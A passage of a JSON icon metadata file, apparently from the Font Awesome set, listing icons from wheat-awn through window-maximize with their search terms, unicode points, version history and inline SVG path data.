        "path": "M380.9 97.1C339 55.1 283.2 32 223.9 32c-122.4 0-222 99.6-222 222 0 39.1 10.2 77.3 29.6 111L0 480l117.7-30.9c32.4 17.7 68.9 27 106.1 27h.1c122.3 0 224.1-99.6 224.1-222 0-59.3-25.2-115-67.1-157zm-157 341.6c-33.2 0-65.7-8.9-94-25.7l-6.7-4-69.8 18.3L72 359.2l-4.4-7c-18.5-29.4-28.2-63.3-28.2-98.2 0-101.7 82.8-184.5 184.6-184.5 49.3 0 95.6 19.2 130.4 54.1 34.8 34.9 56.2 81.2 56.1 130.5 0 101.8-84.9 184.6-186.6 184.6zm101.2-138.2c-5.5-2.8-32.8-16.2-37.9-18-5.1-1.9-8.8-2.8-12.5 2.8-3.7 5.6-14.3 18-17.6 21.8-3.2 3.7-6.5 4.2-12 1.4-32.6-16.3-54-29.1-75.5-66-5.7-9.8 5.7-9.1 16.3-30.3 1.8-3.7.9-6.9-.5-9.7-1.4-2.8-12.5-30.1-17.1-41.2-4.5-10.8-9.1-9.3-12.5-9.5-3.2-.2-6.9-.2-10.6-.2-3.7 0-9.7 1.4-14.8 6.9-5.1 5.6-19.4 19-19.4 46.3 0 27.3 19.9 53.7 22.6 57.4 2.8 3.7 39.1 59.7 94.8 83.8 35.2 15.2 49 16.5 66.6 13.9 10.7-1.6 32.8-13.4 37.4-26.4 4.6-13 4.6-24.1 3.2-26.4-1.3-2.5-5-3.9-10.5-6.6z"
      }
    },
    "free": ["brands"]
  },
  "wheat-awn": {
    "aliases": {
      "names": ["wheat-alt"]
    },
    "changes": ["6.0.0-beta1", "6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["agriculture", "autumn", "fall", "farming", "grain"]
    },
    "styles": ["solid"],
    "unicode": "e2cd",
    "label": "Wheat Awn",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M505 41c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L383 95c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l88-88zM305.5 27.3c-6.2-6.2-16.4-6.2-22.6 0L271.5 38.6c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4-30.5 30.5c-3.4-27.3-15.5-53.8-36.5-74.8l-11.3-11.3c-6.2-6.2-16.4-6.2-22.6 0l-11.3 11.3c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4-30.5 30.5c-3.4-27.3-15.5-53.8-36.5-74.8L101.8 231c-6.2-6.2-16.4-6.2-22.6 0L67.9 242.3c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4L9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l68.9-68.9 12.2 12.2c37.5 37.5 98.3 37.5 135.8 0l11.3-11.3c6.2-6.2 6.2-16.4 0-22.6l-11.3-11.3c-21.8-21.8-49.6-34.1-78.1-36.9l31.9-31.9 12.2 12.2c37.5 37.5 98.3 37.5 135.8 0l11.3-11.3c6.2-6.2 6.2-16.4 0-22.6l-11.3-11.3c-21.8-21.8-49.6-34.1-78.1-36.9l31.9-31.9 12.2 12.2c37.5 37.5 98.3 37.5 135.8 0L486.5 231c6.2-6.2 6.2-16.4 0-22.6L475.2 197c-5.2-5.2-10.6-9.8-16.4-13.9L505 137c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-59.4 59.4c-20.6-4.4-42-3.7-62.3 2.1c6.1-21.3 6.6-43.8 1.4-65.3L409 41c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L329.1 52.9c-3.7-5-7.8-9.8-12.4-14.3L305.5 27.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M505 41c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L383 95c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l88-88zM305.5 27.3c-6.2-6.2-16.4-6.2-22.6 0L271.5 38.6c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4-30.5 30.5c-3.4-27.3-15.5-53.8-36.5-74.8l-11.3-11.3c-6.2-6.2-16.4-6.2-22.6 0l-11.3 11.3c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4-30.5 30.5c-3.4-27.3-15.5-53.8-36.5-74.8L101.8 231c-6.2-6.2-16.4-6.2-22.6 0L67.9 242.3c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4L9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l68.9-68.9 12.2 12.2c37.5 37.5 98.3 37.5 135.8 0l11.3-11.3c6.2-6.2 6.2-16.4 0-22.6l-11.3-11.3c-21.8-21.8-49.6-34.1-78.1-36.9l31.9-31.9 12.2 12.2c37.5 37.5 98.3 37.5 135.8 0l11.3-11.3c6.2-6.2 6.2-16.4 0-22.6l-11.3-11.3c-21.8-21.8-49.6-34.1-78.1-36.9l31.9-31.9 12.2 12.2c37.5 37.5 98.3 37.5 135.8 0L486.5 231c6.2-6.2 6.2-16.4 0-22.6L475.2 197c-5.2-5.2-10.6-9.8-16.4-13.9L505 137c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-59.4 59.4c-20.6-4.4-42-3.7-62.3 2.1c6.1-21.3 6.6-43.8 1.4-65.3L409 41c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L329.1 52.9c-3.7-5-7.8-9.8-12.4-14.3L305.5 27.3z"
      }
    },
    "free": ["solid"]
  },
  "wheat-awn-circle-exclamation": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "affected",
        "famine",
        "food",
        "gluten",
        "hunger",
        "starve",
        "straw"
      ]
    },
    "styles": ["solid"],
    "unicode": "e598",
    "label": "Wheat Awn Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M505 41c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L383 95c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l88-88zM305.5 27.3c-6.2-6.2-16.4-6.2-22.6 0L271.5 38.6c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4-30.5 30.5c-3.4-27.3-15.5-53.8-36.5-74.8l-11.3-11.3c-6.2-6.2-16.4-6.2-22.6 0l-11.3 11.3c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4-30.5 30.5c-3.4-27.3-15.5-53.8-36.5-74.8L101.8 231c-6.2-6.2-16.4-6.2-22.6 0L67.9 242.3c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4L9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l68.9-68.9 12.2 12.2c37.5 37.5 98.3 37.5 135.8 0l11.3-11.3c6.2-6.2 6.2-16.4 0-22.6l-11.3-11.3c-21.8-21.8-49.6-34.1-78.1-36.9l31.9-31.9 12.2 12.2c22.5 22.5 53.3 31.5 82.4 27c0-1 0-2.1 0-3.1c0-33.1 9.1-64.1 25-90.6c-15.5-8.7-32.5-13.8-49.8-15.5l31.9-31.9 12.2 12.2c6 6 12.6 11.1 19.7 15.2c27.5-34 67.3-57.5 112.6-63.8c-4.1-3.8-8.4-7.3-12.9-10.5L505 137c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-59.4 59.4c-20.6-4.4-42-3.7-62.3 2.1c6.1-21.3 6.6-43.8 1.4-65.3L409 41c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L329.1 52.9c-3.7-5-7.8-9.8-12.4-14.3L305.5 27.3zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M505 41c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L383 95c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l88-88zM305.5 27.3c-6.2-6.2-16.4-6.2-22.6 0L271.5 38.6c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4-30.5 30.5c-3.4-27.3-15.5-53.8-36.5-74.8l-11.3-11.3c-6.2-6.2-16.4-6.2-22.6 0l-11.3 11.3c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4-30.5 30.5c-3.4-27.3-15.5-53.8-36.5-74.8L101.8 231c-6.2-6.2-16.4-6.2-22.6 0L67.9 242.3c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4L9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l68.9-68.9 12.2 12.2c37.5 37.5 98.3 37.5 135.8 0l11.3-11.3c6.2-6.2 6.2-16.4 0-22.6l-11.3-11.3c-21.8-21.8-49.6-34.1-78.1-36.9l31.9-31.9 12.2 12.2c22.5 22.5 53.3 31.5 82.4 27c0-1 0-2.1 0-3.1c0-33.1 9.1-64.1 25-90.6c-15.5-8.7-32.5-13.8-49.8-15.5l31.9-31.9 12.2 12.2c6 6 12.6 11.1 19.7 15.2c27.5-34 67.3-57.5 112.6-63.8c-4.1-3.8-8.4-7.3-12.9-10.5L505 137c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-59.4 59.4c-20.6-4.4-42-3.7-62.3 2.1c6.1-21.3 6.6-43.8 1.4-65.3L409 41c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L329.1 52.9c-3.7-5-7.8-9.8-12.4-14.3L305.5 27.3zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "wheelchair": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f193"]
      }
    },
    "changes": [
      "4.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f193",
    "label": "Wheelchair",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M192 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM120.5 247.2c12.4-4.7 18.7-18.5 14-30.9s-18.5-18.7-30.9-14C43.1 225.1 0 283.5 0 352c0 88.4 71.6 160 160 160c61.2 0 114.3-34.3 141.2-84.7c6.2-11.7 1.8-26.2-9.9-32.5s-26.2-1.8-32.5 9.9C240 440 202.8 464 160 464C98.1 464 48 413.9 48 352c0-47.9 30.1-88.8 72.5-104.8zM259.8 176l-1.9-9.7c-4.5-22.3-24-38.3-46.8-38.3c-30.1 0-52.7 27.5-46.8 57l23.1 115.5c6 29.9 32.2 51.4 62.8 51.4h5.1c.4 0 .8 0 1.3 0h94.1c6.7 0 12.6 4.1 15 10.4L402 459.2c6 16.1 23.8 24.6 40.1 19.1l48-16c16.8-5.6 25.8-23.7 20.2-40.5s-23.7-25.8-40.5-20.2l-18.7 6.2-25.5-68c-11.7-31.2-41.6-51.9-74.9-51.9H282.2l-9.6-48H336c17.7 0 32-14.3 32-32s-14.3-32-32-32H259.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M192 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM120.5 247.2c12.4-4.7 18.7-18.5 14-30.9s-18.5-18.7-30.9-14C43.1 225.1 0 283.5 0 352c0 88.4 71.6 160 160 160c61.2 0 114.3-34.3 141.2-84.7c6.2-11.7 1.8-26.2-9.9-32.5s-26.2-1.8-32.5 9.9C240 440 202.8 464 160 464C98.1 464 48 413.9 48 352c0-47.9 30.1-88.8 72.5-104.8zM259.8 176l-1.9-9.7c-4.5-22.3-24-38.3-46.8-38.3c-30.1 0-52.7 27.5-46.8 57l23.1 115.5c6 29.9 32.2 51.4 62.8 51.4h5.1c.4 0 .8 0 1.3 0h94.1c6.7 0 12.6 4.1 15 10.4L402 459.2c6 16.1 23.8 24.6 40.1 19.1l48-16c16.8-5.6 25.8-23.7 20.2-40.5s-23.7-25.8-40.5-20.2l-18.7 6.2-25.5-68c-11.7-31.2-41.6-51.9-74.9-51.9H282.2l-9.6-48H336c17.7 0 32-14.3 32-32s-14.3-32-32-32H259.8z"
      }
    },
    "free": ["solid"]
  },
  "wheelchair-move": {
    "aliases": {
      "names": ["wheelchair-alt"]
    },
    "changes": ["6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "access",
        "handicap",
        "impairment",
        "physical",
        "wheelchair symbol"
      ]
    },
    "styles": ["solid"],
    "unicode": "e2ce",
    "label": "Wheelchair Move",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M320 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM204.5 121.3c-5.4-2.5-11.7-1.9-16.4 1.7l-40.9 30.7c-14.1 10.6-34.2 7.7-44.8-6.4s-7.7-34.2 6.4-44.8l40.9-30.7c23.7-17.8 55.3-21 82.1-8.4l90.4 42.5c29.1 13.7 36.8 51.6 15.2 75.5L299.1 224h97.4c30.3 0 53 27.7 47.1 57.4L415.4 422.3c-3.5 17.3-20.3 28.6-37.7 25.1s-28.6-20.3-25.1-37.7L377 288H306.7c8.6 19.6 13.3 41.2 13.3 64c0 88.4-71.6 160-160 160S0 440.4 0 352s71.6-160 160-160c11.1 0 22 1.1 32.4 3.3l54.2-54.2-42.1-19.8zM160 448a96 96 0 1 0 0-192 96 96 0 1 0 0 192z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M320 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM204.5 121.3c-5.4-2.5-11.7-1.9-16.4 1.7l-40.9 30.7c-14.1 10.6-34.2 7.7-44.8-6.4s-7.7-34.2 6.4-44.8l40.9-30.7c23.7-17.8 55.3-21 82.1-8.4l90.4 42.5c29.1 13.7 36.8 51.6 15.2 75.5L299.1 224h97.4c30.3 0 53 27.7 47.1 57.4L415.4 422.3c-3.5 17.3-20.3 28.6-37.7 25.1s-28.6-20.3-25.1-37.7L377 288H306.7c8.6 19.6 13.3 41.2 13.3 64c0 88.4-71.6 160-160 160S0 440.4 0 352s71.6-160 160-160c11.1 0 22 1.1 32.4 3.3l54.2-54.2-42.1-19.8zM160 448a96 96 0 1 0 0-192 96 96 0 1 0 0 192z"
      }
    },
    "free": ["solid"]
  },
  "whiskey-glass": {
    "aliases": {
      "names": ["glass-whiskey"],
      "unicodes": {
        "composite": ["1f943"],
        "secondary": ["10f7a0"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "alcohol",
        "bar",
        "beverage",
        "bourbon",
        "drink",
        "glass",
        "liquor",
        "neat",
        "rye",
        "scotch",
        "shot",
        "tumbler",
        "tumbler glass",
        "whisky"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7a0",
    "label": "Whiskey Glass",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 32c-9.3 0-18.1 4-24.2 11.1S-1 59.4 .3 68.6l50 342.9c5.7 39.3 39.4 68.5 79.2 68.5h253c39.7 0 73.4-29.1 79.2-68.5l50-342.9c1.3-9.2-1.4-18.5-7.5-25.5S489.3 32 480 32H32zM87.7 224L69 96H443L424.3 224H87.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 32c-9.3 0-18.1 4-24.2 11.1S-1 59.4 .3 68.6l50 342.9c5.7 39.3 39.4 68.5 79.2 68.5h253c39.7 0 73.4-29.1 79.2-68.5l50-342.9c1.3-9.2-1.4-18.5-7.5-25.5S489.3 32 480 32H32zM87.7 224L69 96H443L424.3 224H87.7z"
      }
    },
    "free": ["solid"]
  },
  "whmcs": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f40d",
    "label": "WHMCS",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 161v-21.3l-28.5-8.8-2.2-10.4 20.1-20.7L427 80.4l-29 7.5-7.2-7.5 7.5-28.2-19.1-11.6-21.3 21-10.7-3.2-7-26.4h-22.6l-6.2 26.4-12.1 3.2-19.7-21-19.4 11 8.1 27.7-8.1 8.4-28.5-7.5-11 19.1 20.7 21-2.9 10.4-28.5 7.8-.3 21.7 28.8 7.5 2.4 12.1-20.1 19.9 10.4 18.5 29.6-7.5 7.2 8.6-8.1 26.9 19.9 11.6 19.4-20.4 11.6 2.9 6.7 28.5 22.6.3 6.7-28.8 11.6-3.5 20.7 21.6 20.4-12.1-8.8-28 7.8-8.1 28.8 8.8 10.3-20.1-20.9-18.8 2.2-12.1 29.1-7zm-119.2 45.2c-31.3 0-56.8-25.4-56.8-56.8s25.4-56.8 56.8-56.8 56.8 25.4 56.8 56.8c0 31.5-25.4 56.8-56.8 56.8zm72.3 16.4l46.9 14.5V277l-55.1 13.4-4.1 22.7 38.9 35.3-19.2 37.9-54-16.7-14.6 15.2 16.7 52.5-38.3 22.7-38.9-40.5-21.7 6.6-12.6 54-42.4-.5-12.6-53.6-21.7-5.6-36.4 38.4-37.4-21.7 15.2-50.5-13.7-16.1-55.5 14.1-19.7-34.8 37.9-37.4-4.8-22.8-54-14.1.5-40.9L54 219.9l5.7-19.7-38.9-39.4L41.5 125l53.6 14.1 15.2-15.7-15.2-52 36.4-20.7 36.8 39.4L191 84l11.6-52H245l11.6 45.9L234 72l-6.3-1.7-3.3 5.7-11 19.1-3.3 5.6 4.6 4.6 17.2 17.4-.3 1-23.8 6.5-6.2 1.7-.1 6.4-.2 12.9C153.8 161.6 118 204 118 254.7c0 58.3 47.3 105.7 105.7 105.7 50.5 0 92.7-35.4 103.2-82.8l13.2.2 6.9.1 1.6-6.7 5.6-24 1.9-.6 17.1 17.8 4.7 4.9 5.8-3.4 20.4-12.1 5.8-3.5-2-6.5-6.8-21.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 161v-21.3l-28.5-8.8-2.2-10.4 20.1-20.7L427 80.4l-29 7.5-7.2-7.5 7.5-28.2-19.1-11.6-21.3 21-10.7-3.2-7-26.4h-22.6l-6.2 26.4-12.1 3.2-19.7-21-19.4 11 8.1 27.7-8.1 8.4-28.5-7.5-11 19.1 20.7 21-2.9 10.4-28.5 7.8-.3 21.7 28.8 7.5 2.4 12.1-20.1 19.9 10.4 18.5 29.6-7.5 7.2 8.6-8.1 26.9 19.9 11.6 19.4-20.4 11.6 2.9 6.7 28.5 22.6.3 6.7-28.8 11.6-3.5 20.7 21.6 20.4-12.1-8.8-28 7.8-8.1 28.8 8.8 10.3-20.1-20.9-18.8 2.2-12.1 29.1-7zm-119.2 45.2c-31.3 0-56.8-25.4-56.8-56.8s25.4-56.8 56.8-56.8 56.8 25.4 56.8 56.8c0 31.5-25.4 56.8-56.8 56.8zm72.3 16.4l46.9 14.5V277l-55.1 13.4-4.1 22.7 38.9 35.3-19.2 37.9-54-16.7-14.6 15.2 16.7 52.5-38.3 22.7-38.9-40.5-21.7 6.6-12.6 54-42.4-.5-12.6-53.6-21.7-5.6-36.4 38.4-37.4-21.7 15.2-50.5-13.7-16.1-55.5 14.1-19.7-34.8 37.9-37.4-4.8-22.8-54-14.1.5-40.9L54 219.9l5.7-19.7-38.9-39.4L41.5 125l53.6 14.1 15.2-15.7-15.2-52 36.4-20.7 36.8 39.4L191 84l11.6-52H245l11.6 45.9L234 72l-6.3-1.7-3.3 5.7-11 19.1-3.3 5.6 4.6 4.6 17.2 17.4-.3 1-23.8 6.5-6.2 1.7-.1 6.4-.2 12.9C153.8 161.6 118 204 118 254.7c0 58.3 47.3 105.7 105.7 105.7 50.5 0 92.7-35.4 103.2-82.8l13.2.2 6.9.1 1.6-6.7 5.6-24 1.9-.6 17.1 17.8 4.7 4.9 5.8-3.4 20.4-12.1 5.8-3.5-2-6.5-6.8-21.2z"
      }
    },
    "free": ["brands"]
  },
  "wifi": {
    "aliases": {
      "names": ["wifi-3", "wifi-strong"],
      "unicodes": {
        "secondary": ["10f1eb"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.3.0",
      "5.10.1",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["connection", "hotspot", "internet", "network", "wireless"]
    },
    "styles": ["solid"],
    "unicode": "f1eb",
    "label": "Wifi",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M54.2 202.9C123.2 136.7 216.8 96 320 96s196.8 40.7 265.8 106.9c12.8 12.2 33 11.8 45.2-.9s11.8-33-.9-45.2C549.7 79.5 440.4 32 320 32S90.3 79.5 9.8 156.7C-2.9 169-3.3 189.2 8.9 202s32.5 13.2 45.2 .9zM320 256c56.8 0 108.6 21.1 148.2 56c13.3 11.7 33.5 10.4 45.2-2.8s10.4-33.5-2.8-45.2C459.8 219.2 393 192 320 192s-139.8 27.2-190.5 72c-13.3 11.7-14.5 31.9-2.8 45.2s31.9 14.5 45.2 2.8c39.5-34.9 91.3-56 148.2-56zm64 160a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M54.2 202.9C123.2 136.7 216.8 96 320 96s196.8 40.7 265.8 106.9c12.8 12.2 33 11.8 45.2-.9s11.8-33-.9-45.2C549.7 79.5 440.4 32 320 32S90.3 79.5 9.8 156.7C-2.9 169-3.3 189.2 8.9 202s32.5 13.2 45.2 .9zM320 256c56.8 0 108.6 21.1 148.2 56c13.3 11.7 33.5 10.4 45.2-2.8s10.4-33.5-2.8-45.2C459.8 219.2 393 192 320 192s-139.8 27.2-190.5 72c-13.3 11.7-14.5 31.9-2.8 45.2s31.9 14.5 45.2 2.8c39.5-34.9 91.3-56 148.2-56zm64 160a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z"
      }
    },
    "free": ["solid"]
  },
  "wikipedia-w": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f266",
    "label": "Wikipedia W",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 51.2l-.3 12.2c-28.1.8-45 15.8-55.8 40.3-25 57.8-103.3 240-155.3 358.6H415l-81.9-193.1c-32.5 63.6-68.3 130-99.2 193.1-.3.3-15 0-15-.3C172 352.3 122.8 243.4 75.8 133.4 64.4 106.7 26.4 63.4.2 63.7c0-3.1-.3-10-.3-14.2h161.9v13.9c-19.2 1.1-52.8 13.3-43.3 34.2 21.9 49.7 103.6 240.3 125.6 288.6 15-29.7 57.8-109.2 75.3-142.8-13.9-28.3-58.6-133.9-72.8-160-9.7-17.8-36.1-19.4-55.8-19.7V49.8l142.5.3v13.1c-19.4.6-38.1 7.8-29.4 26.1 18.9 40 30.6 68.1 48.1 104.7 5.6-10.8 34.7-69.4 48.1-100.8 8.9-20.6-3.9-28.6-38.6-29.4.3-3.6 0-10.3.3-13.6 44.4-.3 111.1-.3 123.1-.6v13.6c-22.5.8-45.8 12.8-58.1 31.7l-59.2 122.8c6.4 16.1 63.3 142.8 69.2 156.7L559.2 91.8c-8.6-23.1-36.4-28.1-47.2-28.3V49.6l127.8 1.1.2.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M640 51.2l-.3 12.2c-28.1.8-45 15.8-55.8 40.3-25 57.8-103.3 240-155.3 358.6H415l-81.9-193.1c-32.5 63.6-68.3 130-99.2 193.1-.3.3-15 0-15-.3C172 352.3 122.8 243.4 75.8 133.4 64.4 106.7 26.4 63.4.2 63.7c0-3.1-.3-10-.3-14.2h161.9v13.9c-19.2 1.1-52.8 13.3-43.3 34.2 21.9 49.7 103.6 240.3 125.6 288.6 15-29.7 57.8-109.2 75.3-142.8-13.9-28.3-58.6-133.9-72.8-160-9.7-17.8-36.1-19.4-55.8-19.7V49.8l142.5.3v13.1c-19.4.6-38.1 7.8-29.4 26.1 18.9 40 30.6 68.1 48.1 104.7 5.6-10.8 34.7-69.4 48.1-100.8 8.9-20.6-3.9-28.6-38.6-29.4.3-3.6 0-10.3.3-13.6 44.4-.3 111.1-.3 123.1-.6v13.6c-22.5.8-45.8 12.8-58.1 31.7l-59.2 122.8c6.4 16.1 63.3 142.8 69.2 156.7L559.2 91.8c-8.6-23.1-36.4-28.1-47.2-28.3V49.6l127.8 1.1.2.5z"
      }
    },
    "free": ["brands"]
  },
  "wind": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f72e"]
      }
    },
    "changes": ["5.4.0", "5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["air", "blow", "breeze", "fall", "seasonal", "weather"]
    },
    "styles": ["solid"],
    "unicode": "f72e",
    "label": "Wind",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 32c0 17.7 14.3 32 32 32h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H352c53 0 96-43 96-96s-43-96-96-96H320c-17.7 0-32 14.3-32 32zm64 352c0 17.7 14.3 32 32 32h32c53 0 96-43 96-96s-43-96-96-96H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H384c-17.7 0-32 14.3-32 32zM128 512h32c53 0 96-43 96-96s-43-96-96-96H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H160c17.7 0 32 14.3 32 32s-14.3 32-32 32H128c-17.7 0-32 14.3-32 32s14.3 32 32 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 32c0 17.7 14.3 32 32 32h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H352c53 0 96-43 96-96s-43-96-96-96H320c-17.7 0-32 14.3-32 32zm64 352c0 17.7 14.3 32 32 32h32c53 0 96-43 96-96s-43-96-96-96H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H384c-17.7 0-32 14.3-32 32zM128 512h32c53 0 96-43 96-96s-43-96-96-96H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H160c17.7 0 32 14.3 32 32s-14.3 32-32 32H128c-17.7 0-32 14.3-32 32s14.3 32 32 32z"
      }
    },
    "free": ["solid"]
  },
  "window-maximize": {
    "aliases": {
      "unicodes": {
        "composite": ["1f5d6"],
        "secondary": ["10f2d0"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Maximize", "browser", "computer", "development", "expand"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2d0",
    "label": "Window Maximize",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM96 96H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H96c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM96 96H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H96c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      },
      "regular": {
        "last_modified": 1684767206,
